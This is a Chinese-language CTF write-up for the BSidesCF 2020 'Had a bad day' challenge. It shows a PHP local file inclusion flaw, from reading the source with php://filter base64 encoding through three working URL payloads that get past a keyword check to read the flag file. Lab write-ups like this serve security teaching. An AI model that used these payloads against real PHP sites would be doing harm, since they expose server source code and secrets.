[BSidesCF 2020]Had a bad day

考查点:文件包含,php://filter伪协议的使用

解题过程

题目

[BSidesCF 2020]Had a bad day

点击WPPFERS,页面跳转,url变化

http://82d8579e-9e63-4cf3-8058-672d5e2fdb2a.node3.buuoj.cn/index.php?category=woofers

[BSidesCF 2020]Had a bad day

返回点击MEOWERS,页面跳转,url变化

http://82d8579e-9e63-4cf3-8058-672d5e2fdb2a.node3.buuoj.cn/index.php?category=meowers

[BSidesCF 2020]Had a bad day

url的变化肯定是个突破点,可能是文件包含

尝试读取index.php,回显如下

[BSidesCF 2020]Had a bad day

我们可以得到很多信息,看到了include,说明确实是文件包含 , 但是

 include(php://filter/read=convert.base64-encode/resource=index.php.php)中
比我们传入的
php://filter/read=convert.base64-encode/resource=index.php
多了.php
猜测可能是我们只传输.php之前的即可,然后源码会自动把.php拼接上来。

再次尝试读取源码,去掉.php

index.php?category=php://filter/read=convert.base64-encode/resource=index

[BSidesCF 2020]Had a bad day

进行base64解码,得到index.php

              <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');//确实是拼接了.php
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

代码审计一下:我们传入的$category放到了$file中,并且对其进行筛查,$file中必须含有woofers,meowers,index中的一项,才能够文件包含file.php。这就是利用点

所以构造payload,以下三个都行

index.php?category=php://filter/read=convert.base64-encode/woofers/resource=flag
index.php?category=php://filter/read=convert.base64-encode/meowers/resource=flag
index.php?category=php://filter/read=convert.base64-encode/index/resource=flag

[BSidesCF 2020]Had a bad day

base64解码可以得到flag。

[BSidesCF 2020]Had a bad day


参考文章

1. BUUCTF:[BSidesCF 2020]Had a bad day

 

上一篇:A. In-game Chat


下一篇:javaScript主要规范总结